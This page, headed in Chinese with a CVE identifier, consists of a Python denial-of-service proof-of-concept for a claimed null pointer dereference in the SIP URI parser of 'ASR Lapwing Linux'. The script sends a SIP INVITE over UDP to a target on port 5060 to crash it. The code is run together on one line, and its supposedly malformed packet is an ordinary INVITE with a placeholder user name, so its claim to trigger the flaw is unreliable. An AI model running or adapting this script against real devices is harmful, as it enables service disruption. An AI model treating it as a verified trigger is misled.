CVE-2026-42800 ASR Lapwing Linux空指针解引用漏洞

import socket # PoC for CVE-2026-42800: NULL Pointer Dereference in sipuri.c # This script sends a malformed SIP packet to trigger the vulnerability. def send_exploit(target_ip, target_port): # Malformed SIP URI designed to trigger NULL pointer dereference # The specific format depends on the parsing logic in sip/utils/src/sipuri.c malformed_packet = ( b"INVITE sip:NULL_PTR_TRIGGER@" + target_ip.encode() + b" SIP/2.0\r\n" b"Via: SIP/2.0/UDP 192.168.1.100:5060\r\n" b"Max-Forwards: 70\r\n" b"To: <sip:NULL_PTR_TRIGGER@" + target_ip.encode() + b">\r\n" b"From: <sip:[email protected]>;tag=12345\r\n" b"Call-ID: 123456789@" + target_ip.encode() + b"\r\n" b"CSeq: 1 INVITE\r\n" b"Contact: <sip:[email protected]>\r\n" b"Content-Length: 0\r\n\r\n" ) try: print(f"[*] Sending exploit packet to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(malformed_packet, (target_ip, target_port)) print("[+] Packet sent successfully. Check target for crash.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.1" TARGET_PORT = 5060 send_exploit(TARGET_IP, TARGET_PORT)